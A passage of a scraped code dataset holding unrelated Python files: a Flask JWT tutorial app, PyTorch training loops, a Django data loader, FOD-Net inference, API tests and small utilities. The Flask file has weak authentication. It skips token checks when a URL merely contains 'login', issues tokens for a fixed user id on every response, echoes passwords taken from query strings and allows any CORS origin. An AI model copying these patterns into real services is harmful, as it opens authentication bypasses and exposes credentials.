print(id)\n return {\"msg\": \"success\", \"status\": 200, \"data\": id} #\n\n# [动态路由]限制参数类型为浮点型\n@app.route('/user_float/<float:score>', methods=['GET', 'POST'])\ndef user_float(score):\n return {\"msg\": \"success\", \"status\": 200, \"data\": score} \n\n# [动态路由]限制参数类型为字符串\n@app.route('/user_string/<string:name>', methods=['GET', 'POST'])\ndef user_string(name):\n return {\"msg\": \"success\", \"status\": 200, \"data\": name}\n\n# [动态路由]限制参数类型为\n@app.route('/user_any/<any(a,b,c):name>', methods=['GET', 'POST'])\ndef user_any(name):\n return {\"msg\": \"success\", \"status\": 200, \"data\": name}\n\n# [动态路由]参数为接受用作目录分隔符的斜杠\n@app.route('/myProject/templates/<path:filename>', methods=['GET', 'POST'])\ndef user_path(filename):\n return {\"msg\": \"success\", \"status\": 200, \"data\": filename}\n\n# [动态理由]正则表达式\n@app.route('/user_regex/<regex(\"[a-z]{3}\"):name>',methods=['GET']) # 参数长度必须为3个字符,小写字母组成\ndef user_regex(name):\n request.cookies.get('username')\n return {\"msg\": \"success\", \"status\": 200, \"data\": name}\n\n# [获取url ? 后面的参数] request.args.to_dict()\n@app.route('/find', methods=['GET', 'POST'])\ndef find():\n get_data = request.args.to_dict()# 获取传入的params参数\n username = get_data.get('username')\n password = get_data.get('password')\n return {\"msg\": \"success\", \"status\": 200, \"data\": {\"username\":username,\"password\":password}}\n\n# 每个请求前执行\n@app.before_request\ndef jwt_authentication():\n # 判断是否为登录请求\n print(request.url)\n if ('login' in request.url):\n print(\"登录接口不进行token验证,只进行token生成\")\n return\n else:\n \"\"\"\n 1.获取请求头Authorization中的token\n 2.判断是否以 Bearer开头\n 3.使用jwt模块进行校验\n 4.判断校验结果,成功就提取token中的载荷信息,赋值给g对象保存\n \"\"\"\n # 获取请求头Authorization中的token\n auth = request.headers.get('Authorization')\n # 判断是否以 Bearer开头\n if auth and auth.startswith('Bearer '):\n \"提取token 0-6 被Bearer和空格占用 取下标7以后的所有字符\"\n token = auth[7:]\n print(\"token:\",token)\n \"校验token\"\n payload = verify_jwt(token)\n print(\"payload:\",payload)\n if payload!=None:\n \"判断token的校验结果\"\n g.user_id = None\n g.refresh = None\n if payload:\n \"获取载荷中的信息赋值给g对象\"\n g.user_id = payload.get('user_id')\n g.refresh = payload.get('refresh')\n else:\n # 校验失败 例如:Signature has expired 签名过期\n return jsonify({\"msg\": \"登录超时,请重新登录\", \"status\": 401}) \n else:\n return jsonify({\"msg\": \"登录超时,请重新登录\", \"status\": 401}) \n\n\n\n# [后置处理]针对所有请求,对请求的Response header中加入header\n@app.after_request\ndef after_request(resp):\n \"\"\"\n 请求钩子,在所有的请求发生后执行,加入headers。\n :param resp:\n :return:\n \"\"\"\n # \n resp = make_response(resp)\n # 允许跨域访问\n resp.headers['Access-Control-Allow-Origin'] = '*'\n resp.headers['Access-Control-Allow-Methods'] = 'GET,POST,PUT,DELETE,OPTIONS'\n resp.headers['Access-Control-Allow-Headers'] = 'x-requested-with,content-type'\n # 生成token\n token,refresh_token=generate_token(\"1000\")# TODO 获取请求头userid\n resp.headers['token'] = token\n resp.headers['refresh_token'] = refresh_token\n # 设置cookie,也可以把token放入cookie中\n # resp.set_cookie(\"token\", token, max_age=3600)\n # resp.set_cookie(\"refresh_token\", refresh_token, max_age=3600)\n return resp\n\n\n\n# [错误处理]\n@app.errorhandler(404)\ndef page_not_found(error):\n # return render_template('404.html'), 404\n return {\"msg\": \"fial\", \"status\": 201, \"data\": error}\n\n# [启动服务器]\nclass InvalidUsage(Exception): # 继承父类Exception\n # 定义异常类\n status_code = 400\n # 定义异常状态码\n def __init__(self, message, status_code=400):\n # 调用基类构造函数\n Exception.__init__(self)\n # 接收类实例化入参\n self.message = message\n self.status_code = status_code\n\n# [错误处理]\n@app.errorhandler(InvalidUsage)\ndef invalid_usage(error):\n # 构造响应 返回错误异常内容给客户端\n response = make_response(error.message)\n # 响应状态码\n response.status_code = error.status_code\n return response\n\n# [异常处理]\n@app.route('/exception')\ndef exception():\n # 抛出异常\n raise InvalidUsage('No privilege to access the resource', status_code=403)\n\n\n# 生成token\ndef generate_token(user_id, need_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token2小时, refresh_token14天\n \"\"\"\n pass\n '生成时间信息'\n current_time = datetime.utcnow()\n '指定有效期 业务token -- 2小时,我们这里测试所以设置的秒数'\n expire_time = current_time + \\\n timedelta(seconds=app.config['JWT_EXPIRY_HOURS'])\n\n '生成业务token refresh 标识是否是刷新token'\n token = generate_jwt(\n {'user_id': user_id, 'refresh': False}, expiry=expire_time)\n\n '给刷新token设置一个默认值None'\n refresh_token = None\n '根据传入的参数判断是否需要生成刷新token'\n '不需要生成的传入need_refresh_token=False,需要的传入True或不传使用默认值'\n if need_refresh_token:\n '指定有效期 刷新token -- 14天,我们这里测试所以设置的秒数'\n refresh_expires = current_time + \\\n timedelta(seconds=app.config['JWT_REFRESH_DAYS'])\n '生成刷新token'\n refresh_token = generate_jwt(\n {'user_id': user_id, 'refresh': True}, expiry=refresh_expires)\n '返回这两个token'\n return token, refresh_token\n\ndef login_required(f):\n '让装饰器装饰的函数属性不会变 -- name属性'\n '第1种方法,使用functools模块的wraps装饰内部函数'\n\n @functools.wraps(f)\n def wrapper(*args, **kwargs):\n if not g.user_id:\n return {'message': 'User must be authorized.'}, 401\n elif g.refresh:\n return {'message': 'Do not use refresh token.'}, 403\n else:\n return f(*args, **kwargs)\n\n '第2种方法,在返回内部函数之前,先修改wrapper的name属性'\n # wrapper.__name__ = f.__name__\n return wrapper\n\ndef generate_jwt(payload, expiry, secret=None):\n \"\"\"\n 生成jwt\n :param payload: dict 载荷\n :param expiry: datetime 有效期\n :param secret: 密钥\n :return: jwt\n \"\"\"\n _payload = {'exp': expiry}\n _payload.update(payload)\n\n if not secret:\n secret = app.config['JWT_SECRET']\n\n token = jwt.encode(_payload, secret, algorithm='HS256')\n return token\n\n\ndef verify_jwt(token, secret=None):\n \"\"\"\n 检验jwt\n :param token: jwt\n :param secret: 密钥\n :return: dict: payload\n \"\"\"\n if not secret:\n secret = app.config['JWT_SECRET']\n try:\n payload = jwt.decode(token, secret, algorithms=['HS256'])\n except jwt.PyJWTError as e:\n print(\"jwt.PyJWTError:\",e)\n payload = None\n return payload\n\n\n# [启动服务器]\nif __name__ == \"__main__\":\n # 打印路由\n print(app.url_map)\n \n # debug=True 设置调试模式,生产模式的时候要关掉debug\n # host 主机地址\n # port 端口号,默认是5000\n # use_reloader=True 是否自动重启代码\n app.run(debug=True, host=\"127.0.0.1\", port=5876, use_reloader=True)","repo_name":"liyinchigithub/python-learning","sub_path":"Flask/app/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":10532,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"24222566831","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import optim\nfrom torch.autograd import Variable\nfrom tqdm import trange, tqdm\n\ntorch.manual_seed(0)\n\ndef train(train_loader, net): #net = cbow_model.CBOW_model\n net.train()\n\n optimizer = torch.optim.AdamW(net.parameters(), lr=0.001)\n loss_function = nn.CrossEntropyLoss()\n # loss_function = nn.NLLLoss() #softmaxを使う場合. CrossEntropyLoss()と同じになる.\n\n running_loss = 0\n l = len(train_loader)\n correct = 0\n total = 0\n\n for i, (input_data, labels) in tqdm(enumerate(train_loader),total = l):\n if torch.cuda.is_available():\n with torch.no_grad():\n input_data = Variable(input_data.cuda())\n labels = Variable(labels.cuda())\n else:\n with torch.no_grad():\n input_data = Variable(input_data)\n labels = Variable(labels)\n\n optimizer.zero_grad()\n outputs = net(input_data)\n\n loss = loss_function(outputs, labels)\n running_loss += loss.data\n\n loss.backward()\n optimizer.step()\n\n _, predicted = torch.max(outputs.data, 1)\n correct += (predicted == labels.data).sum().item()\n total += labels.size(0)\n\n\n train_loss = running_loss / len(train_loader)\n train_acc = correct / total\n\n return train_loss, train_acc , correct, total\n\n\n#評価\ndef valid(val_loader, net):\n net.eval()\n optimizer = torch.optim.AdamW(net.parameters(), lr=0.001)\n loss_function = nn.CrossEntropyLoss()\n running_loss = 0\n correct = 0\n total = 0\n l = len(val_loader)\n for i, (input_data, labels) in tqdm(enumerate(val_loader),total = l):\n if torch.cuda.is_available():\n with torch.no_grad():\n input_data = Variable(input_data.cuda())\n outputs = net(input_data)\n labels = Variable(labels.cuda())\n else:\n with torch.no_grad():\n input_data = Variable(input_data)\n outputs = net(input_data)\n labels = Variable(labels)\n\n loss = loss_function(outputs, labels)\n running_loss += loss.data\n\n _, predicted = torch.max(outputs.data, 1)\n correct += (predicted == labels.data).sum().item()\n total += labels.size(0)\n\n val_loss = running_loss / len(val_loader)\n val_acc = correct / total\n\n return val_loss, val_acc, correct, total\n\n\n\n\n#Early stoppingクラス\nclass Early_Stopping():\n def __init__(self, patience=0, DoOrNot = 0):\n self.step = 0\n self.loss = float('inf') #誤差の初期値は∞\n self.patience = patience #過去どれだけのエポック数までの誤差をみるか\n self.DoOrNot = DoOrNot\n\n def validate(self, _loss):\n if (self.loss < _loss): #これまでのエポックに比べ、誤差が増えた\n self.step += 1\n if self.step > self.patience: #誤差が、patience回以上増え続けた\n if self.DoOrNot: #EarlyStoppingするかどうか\n print(\"Early Stopping\")\n return True\n\n else:\n self.step = 0 #0に戻す\n self.loss = _loss #今回のエポックが誤差が最小なので、更新。\n return False\n","repo_name":"ryuseiasumo/NLP_Implementation","sub_path":"cbow/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"18318239980","text":"from watchdog.events import RegexMatchingEventHandler\nfrom watchdog.observers import Observer\nimport os\nimport time\n\nif __name__ == \"__main__\":\n\n # 対象ディレクトリ\n\n DIR_WATCH ='/home/tarob/git_repos/data_engineering/file_monitoring_watchdog'\n\n # 対象ファイルパスのパターン\n PATTERNS = [r'^.*\\.txt$']\n\n def on_modified(event):\n filepath = event.src_path\n filename = os.path.basename(filepath)\n print('%s changed' % filename)\n\n event_handler = RegexMatchingEventHandler(PATTERNS)\n \n observer = Observer()\n observer.schedule(event_handler, DIR_WATCH, recursive=True)\n observer.start()\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n observer.join()","repo_name":"owari-taro/data_engineering","sub_path":"file_monitoring_watchdog/regex_matching.py","file_name":"regex_matching.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28332187435","text":"# bulk_create\nimport os\nimport json\nimport time\nimport django\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"entityLinkTool.settings\") \ndjango.setup()\n# from temp.models import KB\nfrom temp.models import KnowledgeBaseData, KnowledgeBaseStatistic\n\ndef load_kb():\n knowledge_base_name = 'script_ccks2019_kb'\n # knowledge_base_name = 'script_ccks2020_kb'\n temp_knowledge_base = KnowledgeBaseStatistic.objects.create(knowledge_base_name = knowledge_base_name)\n path = 'test_data/ccks2019_el/kb_data'\n # path = 'test_data/ccks2020_el/kb'\n kb = []\n with open(path, 'r', encoding = 'utf-8') as kbFile:\n while True:\n line = kbFile.readline()\n if not line:\n break\n obj = json.loads(line)\n alias = obj['alias']\n subject_id = obj['subject_id']\n subject = obj['subject']\n entityType = obj['type']\n data = obj['data']\n # knowledge_base = temp_knowledge_base\n single = KnowledgeBaseData(alias = alias, subject_id = subject_id,\n subject = subject, type = entityType, data = data, knowledge_base = temp_knowledge_base)\n kb.append(single)\n KnowledgeBaseData.objects.bulk_create(kb, batch_size = 5000)\n\ndef statistic():\n knowledge_base_name = 'script_ccks2019_kb'\n # knowledge_base_name = 'script_ccks2020_kb'\n kb = KnowledgeBaseStatistic.objects.get(knowledge_base_name = knowledge_base_name)\n data = KnowledgeBaseData.objects.filter(knowledge_base = kb)\n kb.num_entity = len(data)\n similar_entity_statistic = {'1-2':0, '3-4':0, '5+':0}\n num_entity_attribute_statistic = {'1-2':0, '3-4':0, '5+':0}\n for i in data:\n if len(i.alias) <= 2:\n similar_entity_statistic['1-2'] += 1\n continue\n elif len(i.alias) <= 4:\n similar_entity_statistic['3-4'] += 1\n continue\n else:\n similar_entity_statistic['5+'] += 1\n for i in data:\n if len(i.data) <= 2:\n num_entity_attribute_statistic['1-2'] += 1\n continue\n elif len(i.data) <= 4:\n num_entity_attribute_statistic['3-4'] += 1\n continue\n else:\n num_entity_attribute_statistic['5+'] += 1\n temp_list = []\n temp_list.append(similar_entity_statistic)\n kb.similar_entity_statistic = temp_list\n temp_list = []\n temp_list.append(num_entity_attribute_statistic)\n kb.num_entity_attribute_statistic = temp_list\n kb.save()\n print(kb)\n\ndef test():\n data = KnowledgeBaseData.objects.all()\n for i in data:\n print(type(i.knowledge_base))\n break\n\n\nif __name__ == \"__main__\":\n start = time.time()\n load_kb()\n statistic()\n # test()\n print('Done!')\n end = time.time()\n print('Running time: %s Seconds'%(end-start))\n","repo_name":"Gio-2020/EntityLinkToolBackend","sub_path":"new_loading_kb.py","file_name":"new_loading_kb.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23747413246","text":"# https://leetcode.com/problems/complete-binary-tree-inserter/\n#\n# algorithms\n# Medium (53.97%)\n# Total Accepted: 4,431\n# Total Submissions: 8,210\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass CBTInserter(object):\n\n def __init__(self, root):\n \"\"\"\n :type root: TreeNode\n \"\"\"\n self.root = root\n i, arr = 0, [self.root]\n\n while i < len(arr):\n if arr[i].left:\n arr += arr[i].left,\n if arr[i].right:\n arr += arr[i].right,\n i += 1\n\n self.arr = arr\n\n def insert(self, v):\n \"\"\"\n :type v: int\n :rtype: int\n \"\"\"\n node = TreeNode(v)\n last_node_idx = len(self.arr) - 1\n self.arr += node,\n if (last_node_idx - 1) / 2 == last_node_idx / 2:\n self.arr[last_node_idx / 2].right = node\n return self.arr[last_node_idx / 2].val\n\n self.arr[last_node_idx / 2].left = node\n return self.arr[last_node_idx / 2].val\n\n def get_root(self):\n \"\"\"\n :rtype: TreeNode\n \"\"\"\n return self.root\n\n\n# Your CBTInserter object will be instantiated and called as such:\n# obj = CBTInserter(root)\n# param_1 = obj.insert(v)\n# param_2 = obj.get_root()\n","repo_name":"mickey0524/leetcode","sub_path":"919.Complete-Binary-Tree-Inserter.py","file_name":"919.Complete-Binary-Tree-Inserter.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"69"} +{"seq_id":"1708391256","text":"\"\"\"FOD-Net\nFiber orientation distribution super resolution\nLicensed under the CC BY-NC-SA 4.0 License (see LICENSE for details)\nWritten by Rui Zeng @ The University of Sydney (r.zeng@outlook.com / rui.zeng@sydney.edu.au)\n\"\"\"\n\nfrom re import I\nimport torch\nfrom .base_model import BaseModel\nfrom . import networks\nimport torch.nn\nimport torch.nn.functional\nimport torch.optim\nimport os\nimport nibabel as nib\nimport sys\nimport numpy as np\nfrom dipy.segment.mask import bounding_box, crop\nfrom tqdm import trange\n\n\nfodlr_final_mean = np.load(\"./util/fodlr_final_mean.npy\")\nfodlr_final_std = np.load(\"./util/fodlr_final_std.npy\")\nfodgt_final_mean = np.load(\"./util/fodgt_final_mean.npy\")\nfodgt_final_std = np.load(\"./util/fodgt_final_std.npy\")\n\n\nclass fodnetModel(BaseModel):\n \"\"\"\n This class implements the fodnet model, for learning fod super resolution.\n\n \"\"\"\n\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n \"\"\"Add new dataset-specific options, and rewrite default values for existing options.\n\n Parameters:\n parser -- original option parser\n is_train (bool) -- whether training phase or test phase. You can use this flag to add training-specific or test-specific options.\n\n Returns:\n the modified parser.\n\n \"\"\"\n if is_train:\n pass\n\n return parser\n\n def __init__(self, opt):\n \"\"\"Initialize the SMC GAN class.\n\n Parameters:\n opt (Option class)-- stores all the experiment flags; needs to be a subclass of BaseOptions\n \"\"\"\n super(fodnetModel, self).__init__(opt)\n # specify the training losses you want to print out. The training/test scripts will\n self.loss_names = ['loss_total']\n\n # specify the models you want to save to the disk. The training/test scripts will call <BaseModel.save_networks> and <BaseModel.load_networks>.\n if self.isTrain:\n self.model_names = [opt.model]\n else:\n self.model_names = [opt.model]\n\n # define networks\n self.fodnet = networks.define_network(init_type=opt.init_type,\n init_gain=opt.init_gain,\n gpu_ids=self.gpu_ids)\n if self.isTrain:\n self.optimizer_names = ['optimizer_1']\n self.optimizer_1 = torch.optim.Adam(self.fodnet.parameters(), eps=1e-7,\n lr=opt.lr)\n self.optimizers.append(self.optimizer_1)\n self.l2loss = torch.nn.MSELoss()\n\n def set_input(self, input):\n \"\"\"Unpack input data from the dataloader and perform necessary pre-processing steps.\n\n Parameters:\n input (dict): include the data itself and its metadata information.\n\n \"\"\"\n if self.opt.isTrain == True:\n self.fodgt = input['fodgt'].to(self.device)\n self.fodlr = input['fodlr'].to(self.device)\n\n def set_input_for_test(self, fodlr, brain_mask, fod_affine, fod_header):\n \"\"\" data preparation for FOD super resolution inference\n\n Input:\n fodlr: low angular resolution FOD array\n brain_mask: brain mask array\n fod_affine: used to indicate which affine we should use when saving super resolved fod image\n fod_header: used to indicate which header info we should use when saving super resolved fod image\n \n \"\"\"\n self.fod_affine = fod_affine\n self.fod_header = fod_header\n\n # Load stats for normalisation\n self.fodlr_mean = fodlr_final_mean\n self.fodlr_std = fodlr_final_std\n self.fodgt_mean = fodgt_final_mean\n self.fodgt_std = fodgt_final_std\n\n self.fodlr_mean = np.asarray(self.fodlr_mean).reshape(\n 1, 1, 1, -1).astype(np.float32)\n self.fodlr_std = np.asarray(self.fodlr_std).reshape(\n 1, 1, 1, -1).astype(np.float32)\n self.fodgt_mean = np.asarray(self.fodgt_mean).reshape(\n 1, 1, 1, -1).astype(np.float32)\n self.fodgt_std = np.asarray(self.fodgt_std).reshape(\n 1, 1, 1, -1).astype(np.float32)\n\n self.fodlr_mean = torch.from_numpy(self.fodlr_mean).to(self.device)\n self.fodlr_std = torch.from_numpy(self.fodlr_std).to(self.device)\n self.fodgt_mean = torch.from_numpy(self.fodgt_mean).to(self.device)\n self.fodgt_std = torch.from_numpy(self.fodgt_std).to(self.device)\n\n # # Create the bounding box for the foreground region and crop it for fast testing\n # brain_mask = np.asarray(brain_mask, dtype=np.float32)\n # self.mins, self.maxs = bounding_box(brain_mask)\n # self.mins.append(None)\n # self.maxs.append(None)\n # self.affine = fod_affine\n # self.output_shape = fodlr.shape\n # fodlr = crop(fodlr, self.mins, self.maxs)\n\n # Move data to torch tensor\n self.brain_mask = torch.from_numpy(\n brain_mask.astype(np.float32)).to(self.device)\n\n self.brain_mask = torch.nn.functional.pad(self.brain_mask, (5, 5, 5, 5, 5, 5), \"constant\", 0)\n brain_mask = self.brain_mask.cpu().numpy() # copy zero-padded brain mask tensor to brain mask array\n index_mask = np.where(brain_mask)\n self.index_mask = np.asarray(index_mask)\n self.index_length = len(self.index_mask[0])\n\n # Get normalised low resolution FOD images\n fodlr = torch.from_numpy(fodlr).to(self.device)\n fodlr = torch.nn.functional.pad(fodlr, (0, 0, 5, 5, 5, 5, 5, 5), \"constant\", 0)\n self.normalised_fodlr = (fodlr - self.fodlr_mean) / self.fodlr_std\n\n def forward(self):\n \"\"\"Run forward pass; called by both functions <optimize_parameters> and <test>.\n \"\"\"\n self.fodpred = self.fodnet(self.fodlr)\n\n def backward(self):\n \"\"\"Calculate the loss \"\"\"\n self.loss_total = self.l2loss(self.fodpred, self.fodgt)\n self.loss_total.backward()\n # torch.nn.utils.clip_grad_norm(self.fodnet.parameters(), 1.)\n\n def optimize_parameters(self):\n \"\"\"Calculate losses, gradients, and update network weights; called in every training iteration\"\"\"\n self.forward()\n self.optimizer_1.zero_grad()\n self.backward()\n self.optimizer_1.step()\n\n @torch.no_grad()\n def test(self, sr_fod_path):\n \"\"\"Perform FOD super resolution using FOD-Net\n \"\"\"\n output_directory_path = os.path.dirname(sr_fod_path)\n os.makedirs(output_directory_path, exist_ok=True)\n \n fodsr = torch.zeros_like(self.normalised_fodlr)\n self.normalised_fodlr = self.normalised_fodlr.permute(3, 0, 1, 2)\n \n size_3d_patch = 9\n margin = int(size_3d_patch/2)\n\n fodgt_std = self.fodgt_std.squeeze(0).squeeze(0).squeeze(0)\n fodgt_mean = self.fodgt_mean.squeeze(0).squeeze(0).squeeze(0)\n\n print('Start FOD super resolution:')\n for i in trange(self.index_length):\n # get x, y, and z coordinates for each voxel we want to perform super resolution\n x = self.index_mask[0, i]\n y = self.index_mask[1, i]\n z = self.index_mask[2, i]\n\n x_start = x - margin\n x_end = x_start + size_3d_patch\n y_start = y - margin\n y_end = y_start + size_3d_patch\n z_start = z - margin\n z_end = z_start + size_3d_patch\n\n self.fodlr = self.normalised_fodlr[:, x_start:x_end, y_start:y_end, z_start:z_end]\n tensor_helper = self.fodlr\n self.fodlr = torch.stack(\n [self.fodlr.float(), tensor_helper.float()])\n self.forward()\n fodsr[x, y, z, :] = self.fodpred[0, :] * fodgt_std + fodgt_mean\n\n # Mask out zero regions\n fodsr *= self.brain_mask.unsqueeze(-1)\n fodsr = fodsr.detach().cpu().numpy()\n\n fodsr = fodsr[5:-5, 5:-5, 5:-5, :]\n\n # Save super resolved FOD image\n nii = nib.Nifti1Image(\n fodsr, affine=self.fod_affine, header=self.fod_header)\n nib.save(nii, sr_fod_path)\n\n def inference(self, fod_path, output_path):\n \"\"\"Inference for a given fodlr subject\"\"\"\n size_3d_patch = 9\n with torch.no_grad():\n try:\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\n except:\n sys.exit('we cannot create the dir')\n\n height, width, depth, channels = self.fodlr_whole.shape\n self.fodlr_whole = self.fodlr_whole.permute(3, 0, 1, 2)\n template = torch.zeros_like(self.fodlr_whole)\n final_result = torch.zeros(\n tuple(self.output_shape)).to(self.device)\n print('Start FOD super resolution:')\n for i in tqdm(range(height - size_3d_patch + 1)):\n for j in range(width - size_3d_patch + 1):\n for k in range(depth - size_3d_patch + 1):\n self.fodlr = self.fodlr_whole[:, i:i + size_3d_patch,\n j:j + size_3d_patch, k:k + size_3d_patch]\n tensor_helper = self.fodlr\n self.fodlr = torch.stack(\n [self.fodlr.float(), tensor_helper.float()])\n self.forward()\n template[:, int((2 * i + size_3d_patch) / 2),\n int((2 * j + size_3d_patch) / 2),\n int((2 * k + size_3d_patch) / 2)] = self.fodpred[0:1, :] * self.fodgt_std + self.fodgt_mean\n\n # Fill the result into\n final_result[self.mins[0]:self.maxs[0], self.mins[1]:self.maxs[1],\n self.mins[2]:self.maxs[2], :] = template.permute(1, 2, 3, 0)\n\n final_result = final_result * self.brain_mask.unsqueeze(-1)\n\n # Dump template into a nii gz file for further evaluation using mrtrix\n final_result = final_result.detach().cpu().numpy()\n\n # load header from the lr data\n lr_info = nib.load(fod_path)\n nii = nib.Nifti1Image(final_result, affine=lr_info.affine,\n header=lr_info.header)\n\n nib.save(nii, output_path)\n","repo_name":"ruizengalways/FOD-Net","sub_path":"models/fodnet_model.py","file_name":"fodnet_model.py","file_ext":"py","file_size_in_byte":10284,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"69"} +{"seq_id":"24255659158","text":"import requests_mock\nfrom expectly import expect\nimport requests\n\n\nclass TestStandardResponse:\n\n def get_response(self):\n with requests_mock.mock() as m:\n m.get(\n 'http://example.com',\n headers={'Content-Type': 'application/json'},\n text='{\"foo\":\"bar\", \"baz\": [{\"1\": \"one\", \"2\": 2}]}',\n status_code=200,\n )\n response = requests.get('http://example.com')\n return response\n\n def test_pass(self):\n resp = self.get_response()\n expect(resp).to.have.status_code(200)\n expect(resp).json.to.be.valid\n expect(resp).json.path('baz[0].\"1\"').to.be.equal('one')\n\n def test_schema(self):\n resp = self.get_response()\n expect(resp).to.be.ok\n expect(resp).to.have.encoding('utf-8')\n expect(resp).json.to.have.the.schema({\n 'type': 'object',\n 'required': ['foo', 'baz'],\n 'properties': {\n 'foo': {'type': 'string'},\n 'baz': {\n 'type': 'array',\n 'items': [\n {\n 'type': 'object',\n 'required': ['1', '2'],\n 'properties': {\n '1': {'type': 'string'},\n '2': {'type': 'number'},\n }\n }\n ]\n }\n }\n })\n\n\nclass TestErrorResponse:\n\n def get_response(self):\n with requests_mock.mock() as m:\n m.get(\n 'http://example.com',\n headers={'Content-Type': 'application/json'},\n text='{\"status\":\"ERROR\"}',\n status_code=404,\n )\n response = requests.get('http://example.com')\n return response\n\n def test_pass(self):\n resp = self.get_response()\n expect(resp).to.not_.be.ok\n expect(resp).json.path('status').to.not_.be.like('SUCCESS')\n expect(resp).json.path('status').to.be.equal('ERROR')\n expect(resp).to.have.header('Content-Type').like('json')\n expect(resp).to.not_.have.headers(['Content-Encoding', 'Date'])","repo_name":"huntcsg/expectly","sub_path":"tests/test_assertions.py","file_name":"test_assertions.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"35398376222","text":"import concurrent.futures\nimport os\nfrom argparse import ArgumentParser\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torchvision.transforms as T\nfrom sklearn.manifold import TSNE\nfrom tqdm import tqdm\n\nfrom depreciated.scaleadv import create_dataset\nfrom depreciated.scaleadv import RandomPool2d\n\nOUTPUT = f'static/results/experiments/random_dist'\nos.makedirs(OUTPUT, exist_ok=True)\n\n\ndef get_embeddings(x: torch.Tensor, pooling: RandomPool2d, n: int = 200, d: int = 2):\n y = pooling(x.repeat(n, 1, 1, 1)).reshape(n, -1).numpy()\n z = TSNE(n_components=d).fit_transform(y).T\n return z\n\n\ndef task(i):\n ind, x, tag = dataset[i]\n z = get_embeddings(x * 255, pooling, n=200, d=2)\n return ind, z, tag\n\n\nif __name__ == '__main__':\n # args\n p = ArgumentParser()\n p.add_argument('-k', '--kernel', type=int, required=True, metavar='K', help='kernel width')\n p.add_argument('-s', '--seed', type=int, default=100, metavar='S', help='random seed')\n args = p.parse_args()\n\n # load data\n dataset = create_dataset(transform=T.ToTensor())\n pooling = RandomPool2d(args.kernel, 1, args.kernel // 2)\n\n # get embeddings\n N = 5\n np.random.seed(args.seed)\n ids = np.random.randint(0, len(dataset), N)\n with concurrent.futures.ProcessPoolExecutor() as exe:\n output = list(tqdm(exe.map(task, ids), total=N))\n\n # plot all\n plt.figure()\n for ind, z, tag in output:\n plt.scatter(*z, s=1, label=f'{ind} ({tag})')\n plt.legend()\n plt.savefig(f'{OUTPUT}/all-{args.kernel}.pdf')\n\n # plt separate\n for ind, z, _ in output:\n plt.figure()\n plt.scatter(*z, s=1)\n plt.savefig(f'{OUTPUT}/{ind}-{args.kernel}.pdf')\n","repo_name":"AHK-11/rethinking-image-scaling-attacks","sub_path":"depreciated/scaleadv/experiments/random_dist.py","file_name":"random_dist.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"36468286110","text":"from collections import deque\n# 保留有限历史记录正是 collections.deque 大显身手的时候\n# 只保留队列中的最后三个\nq = deque(maxlen=3)\nq.append(1)\nq.append(2)\nq.append(3)\nq.append(4)\n\nprint(q)\n\"\"\"\n在队列两端插入或删除元素时间复杂度都是 O(1) ,区别于列表,在列表的开头插入或删除元素的时间复杂度为 O(N) \n\"\"\"\n\n# 取出队列,先进后出\nresult = q.pop()\nprint(result)","repo_name":"zb14755456464/pythonCookbook","sub_path":"第一章数据结构与算法/1.3 保留最后 N 个元素.py","file_name":"1.3 保留最后 N 个元素.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13927912620","text":"#!/usr/bin/env python3\n\nimport os\nimport re\nimport sys\nimport warnings\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom pathlib import Path\nfrom argparse import ArgumentParser, RawTextHelpFormatter, FileType\nfrom functools import partial\nfrom matplotlib import rcParams\n\nfrom typetest.analyse import (\n typing_speed_per_test,\n typing_speed_per_test_duration,\n typing_speed_distribution,\n typing_speed_of_n_best_words,\n typing_speed_per_char,\n mistyped_words_pie_chart,\n)\n\nwarnings.simplefilter(\"ignore\", np.RankWarning)\nwarnings.simplefilter(\"error\", UserWarning)\nrcParams.update({\"figure.autolayout\": True})\nsns.set(font_scale=1)\nfilename = os.path.basename(sys.argv[0])\ndoc = f\"\"\"example:\n {filename}\n {filename} wpm\n {filename} char word\n\"\"\"\n\n\ndef run():\n \"\"\"Parse command line arguments and run main\"\"\"\n try:\n main(**parse_args())\n except UserWarning:\n print(\n \"No matplotlib backend found that supports drawing charts.\"\n + \"\\nSolve this by installing `tk`!\\nFor example:\"\n + \"\\n\\nsudo apt-get install python-tk\\nor\\nsudo pacman -S tk\"\n )\n\n\ndef main(graphs, output, mistyped, char_speeds, word_speeds, help):\n \"\"\"Draw diagrams the user has requested.\"\"\"\n is_word = partial(re.match, r\"^[a-z]+$\")\n if \"wpm\" in graphs:\n typing_speed_per_test.plot(output)\n if \"duration\" in graphs:\n typing_speed_per_test_duration.plot(output)\n if \"char\" in graphs:\n typing_speed_per_char.plot(char_speeds, filter_func=str.islower)\n if \"word\" in graphs:\n typing_speed_of_n_best_words.plot(word_speeds, 50, filter_func=is_word)\n if \"dist\" in graphs:\n 